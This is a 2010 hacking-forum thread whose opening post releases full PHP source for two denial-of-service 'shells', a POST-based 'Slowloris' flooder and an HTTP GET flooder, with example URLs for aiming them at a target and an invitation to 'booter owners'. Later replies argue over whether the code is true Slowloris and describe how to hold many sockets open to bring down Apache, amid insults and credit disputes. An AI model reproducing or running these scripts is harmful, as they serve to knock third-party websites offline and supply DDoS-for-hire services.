Thread: [\[Release\]Slowloris/HTTP PHP Shell\[Release\]](#)

1 + 3 + 3 = 7 - December 10, 2010, 9:27 am

Since my thread got deleted I have to repost it.

Well guys, since ChickenX is no longer running. We have decided to give our source code for our slowloris/http shell source. This is also due to Orgy being a noob and not giving us credit for the shells that he is using in his new twBooter, if we didn't send him our source, no one would have had this.

You brang this on yourself Orgy, all you had to do is give us credits, you go around acting asif you can code everything, but you really cant. You begged us, we told you to give us credit, you didnt.

Here they are:

Slowloris PHP Shell:

PHP Code

```
<?php
```

```
/*
```

All credits go to LUKE from ChickenX

Best coder in my eyes - Matin

```
*/
```

```
$ip = $_GET['ip'];
```

```
set_time_limit(0);
```

```
ignore_user_abort(FALSE);
```

```
$exec_time = $_GET['time'];
```

```
$time = time();
```

```
$max_time = $time+$exec_time;
```

```
while(1){
```

```
    if(time() > $max_time){
```

```
        break;
```

```
    }
```

```
$fp = fsockopen($ip, 80, $errno, $errstr, 140);
```

```
if (!$fp) {
```

```
    echo "$errstr ($errno)<br />\n";
```

```
} else {
```

```
    $out = "POST / HTTP/1.1\r\n";
```

```
    $out .= "Host: $ip\r\n";
```

```
    $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
```

```
    $out .= "Content-Length: 42\r\n\r\n";
```

```
    fwrite($fp, $out);
```

```
}
```

```
}
```

```
echo "Slowloris flood complete after: $exec_time seconds\n";
```

```
?>
Http PHP Shell
PHP Code
<?php
/*
All credits go to LUKE from ChickenX
Best coder in my eyes - Matin
*/
$ip = $_GET['ip'];
$page = $_GET['page'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(1){
    if(time() > $max_time){
        break;
    }

    $fp = fsockopen("$ip", 80, $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $out = "GET $page HTTP/1.1\r\n";
        $out .= "Host: $ip\r\n";
        $out .= "Accept: */*\r\n";
        $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n\r\n";
        fwrite($fp, $out);
    }
}
echo "HTTP flood complete after: $exec_time seconds\n";
?>
Example of usage for slowloris: shell.php?&ip=www.blah.com&time=60
Example of usage for http: shell2.php?&ip=www.blah.com&time=60&page=
```

These two scripts will rape web servers espically slowloris.

It's that simple - the 'best' php coder in hackforums (Orgy? lol.) couldn't even code this. Funny huh?

Have fun booter owners.

Unfair Advantage - December 10, 2010, 9:59 am

This isn't slowloris, It's a HTTP flood.

Cida - December 10, 2010, 10:01 am

(Dec 10, 2010 10:54 AM)1 + 3 + 3 = 7 Wrote: [\[CITE\]](#) Lol, the fact that you keep cocksucking admins to delete my thread proves my point.

Not exactly, if someone made a thread like this about me, and it wasn't true, I'd want it deleted; it would be slander, possibly damaging peoples opinion on me.

Unfair Advantage - December 10, 2010, 10:08 am

OH and although I wouldn't call orgy the Best PHP coder here he is good, You've produced a piece of shit that isn't even close to slowloris. Orgy is a good PHP coder as I've seen some of his work. You could dish the dirt on orgy if you could actually code a Slowloris Shell. Slowloris to work properly would require multithreading and to only send headers when needed to keep sockets open, You would also need to keep open hundreds or thousands of sockets. What I see here is a HTTP flooder than uses post.

Inveno - December 10, 2010, 10:19 am

This is getting beyond a joke, I refuse to keep coming back to this thread over and over again, this has to be like the 10th time today.

Next time I come to it, I will be issuing bans.

Closing for 10 minutes to make sure this has been seen.

Orgy - December 10, 2010, 10:41 am

(Dec 10, 2010 11:16 AM)Unfair Advantage Wrote: [\[CITE\]](#) Its not an implementation of slowloris, Not even close. This is Far far far from slowloris.

No, it's slowloris. It will effectively trick Apache into waiting for the content, just not for very long.

Unfair Advantage - December 10, 2010, 10:47 am

<http://ha.ckers.org/slowloris/>

Orgy - December 10, 2010, 10:50 am

(Dec 10, 2010 11:47 AM)Unfair Advantage Wrote: [\[CITE\]](#) <http://ha.ckers.org/slowloris/>

i know, I've studied rsnakes code and watched the video etc. to perform slowloris, all you have to do is trick apache into thinking that content is coming, and just never send it.

[CX]Luke - December 10, 2010, 11:46 am

Its not hard to understand Apache reads Content-length which basically makes apache think there is POST data being received, it waits for the client to send the POST data, but it never arrives. So basically tricks apache into waiting for POST data and timing out.

Uncomplicated - December 10, 2010, 12:12 pm

All you guys are talking about Slowloris but no one has explained it. By the time you read this post, I would have acquired some information of Slowloris by googling for it. :P

Thank you for the code OP.

Edit: I know about it now | but partially, I am reading the article. don't know if sharing link of that site is allowed on HF or not :(

Donace - December 10, 2010, 1:17 pm

Thank you for this wonderful release.

[CX]Luke - December 10, 2010, 3:06 pm

You are REALLLY dumb.

'All I see is a HTTP flooder that uses post'

WTF do you think Slowloris is you idiot? It connects to the website and sends a post request with no data. Meaning it tricks Apache into waiting for the post data when nothing is actually coming.

'Slowloris to work properly would require multithreading and to only send headers'

When you have 3000 slowloris shells why would you need it to be multithreaded? From the little research I did(I haven't coded in PHP for yearsss), with PHPs fsockopen function it cannot be made multi-threaded. I would have had to use cUrl, which I didn't do because alot of servers don't have PHP which supports cUrl.

Please come back kid when you realise Slowloris actually uses 'HTTP'

Unfair Advantage - December 10, 2010, 3:27 pm

I would have had to use cUrl, which I didn't do because alot of servers don't have PHP which supports cUrl.

Please come back kid when you realise Slowloris actually uses 'HTTP'Slowloris is a DoS attack, the idea it to take down an apache server with 1 computer using minimal server bandwidth. Flooding it from 3000 shells and raping the bandwidth destroys all the points of slowloris thus making you the idiot.

Go run some more msn accounts with your skidbot? While your at it realize slowloris is not a http flood.

From the offical site.

"In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports."

A http flood takes out the service by flooding it, Slowloris is not a flood. A flood is like a torrent of water not a slow inconsistent stream, Bk2School for you skid.

[CX]Luke - December 10, 2010, 3:47 pm

Are you dumb? Who says Slowloris is DoS and not DDoS, it is whatever you want to make it..

Raping bandwidth? :S Why the hell would it make a difference if you have 1 host with 3k sockets loaded, or 3000 hosts with 1 socket loaded each. ITS EXACTLY THE FUCKING SAME.

Slowloris uses the HTTP protocol, god you still don't get it do you?

1 + 3 + 3 = 7 - December 10, 2010, 4:15 pm

No, he actually is. He tries to lead on that he knows how to code everything, but when he wants something that he doesnt know how to do, he begs. Just like he begged us for slowloris/http shell code.

Orgy - December 10, 2010, 4:15 pm

(Dec 10, 2010 05:12 PM)1 + 3 + 3 = 7 Wrote: [\[CITE\]](#) I might not know PHP, but I know when someone is talking out there arse. I also know who skiddie rippers are (you). Plz beg more.

- 1) I don't rip
- 2) I'm no skid
- 3) You don't know any language. Maybe SOME mIRC scripting (whatever language that is) but even Luke says you don't know shit, that he does everything and you're just his slave. Get owned.

Galaxy Wave - December 10, 2010, 4:18 pm

Could i buy the chickenX Source?

1 + 3 + 3 = 7 - December 10, 2010, 4:21 pm

You are a skid, for not giving luke any sort of credit for helping you. I might not know alot of languages, but I sure do know mIRC. You don't know how powerful it is, because you are dumb. You can do just about anything with it. As we have proved. Shell booter/Scanner/Uploader/WebServer w/e.

Unfair Advantage - December 10, 2010, 4:22 pm

I honestly don't get why I'm getting called a dumbass for saying slowloris isn't a flood... Is it not logic that a flood is a large amount of packets coming in at a fast rate. Whereas SLOWloris Is a slow Denial of service attack sending infrequent HTTP headers. The idea isn't to keep opening new sockets send a HTTP header that keeps them open for a bit then when they close create new ones. The idea is to bind lots of sockets and keep the connection open by sending a header every X seconds.

(Dec 10, 2010 05:21 PM)1 + 3 + 3 = 7 Wrote: [\[CITE\]](#) You are a skid, for not giving luke any sort of credit for helping you. I might not know alot of languages, but I sure do know mIRC. Mirc isn't powerful it is an extremely high level language.

You're absolutely correct. Basically, you send a "Content-Length" header of a random integer, and then every 10-15 seconds, you send another just random header to keep the socket open. Do this on a couple hundred threads, and you're good to go. Bye bye apache

(Dec 10, 2010 05:21 PM)1 + 3 + 3 = 7 Wrote: [\[CITE\]](#) You are a skid, for not giving luke any sort of credit for helping you. I might not know alot of languages, but I sure do know mIRC. Oh woo he told me how it was done. Did he give credit to rsnake for helping him? As for knowing a lot of "mIRC", Luke says otherwise. He said you're pretty much useless. He just keeps you around to do the busy work.

[CX]Luke - December 10, 2010, 4:27 pm

When did I ever say Matin doesn't know shit? More bullshit replies. Ive being friends with Matin for YEARSS why would I tell you he don't know shit. I can guarantee he has coded alot more useful things than you. What the hell do I expect of this forum anyway? Its full of flamers who make out they know what they are talking about when really they don't.

Orgy you know PHP yes, but thats it. You can code a shell booter? Who the fuck can't

- 1) Database to host urls/logins
- 2) cUrl

Wow?

Thats it i cbfa replying to idiots.

Orgy - December 10, 2010, 4:29 pm

Oh sure, you say that now that I bring it up to Matin, but that isn't what you told me when we were discussing revenue shares when we were going to team up.

And I can code a lot more than a shell booter, not that I ever brought up my skills. You guys are the

ones that keep making me out to be a great PHP programmer. I think Martin even said I'm the best on this forum, which is untrue.

[CX]Luke - December 10, 2010, 4:32 pm

RSnake? I gave you the documentation to how Slowloris worked and you said you couldn't figure out how to convert the code from perl to PHP.

RSnake didn't discover Slowloris Adrian Ciobanu did.

Orgy - December 10, 2010, 4:33 pm

I said no such thing. After watching the video, it was blatantly obvious.

And I don't know if that's true or not, but regardless, did you give him credit?

grimd34th - December 10, 2010, 4:34 pm

so guys, itt: epeen lightsabers.

but i saw his source and raged so i think ill go convert the real slowloris source into php myself.

[CX]Luke - December 10, 2010, 4:37 pm

LOL credit? Do you give your parents credit every time you speak because they taught you to talk?

If you write the code from scratch (after understanding the principles) then why would you give credit?

If somebody says I can't code this after reading documentation, then I send them source code for them to basically rip, then yeh credit.

Unfair Advantage - December 10, 2010, 4:38 pm
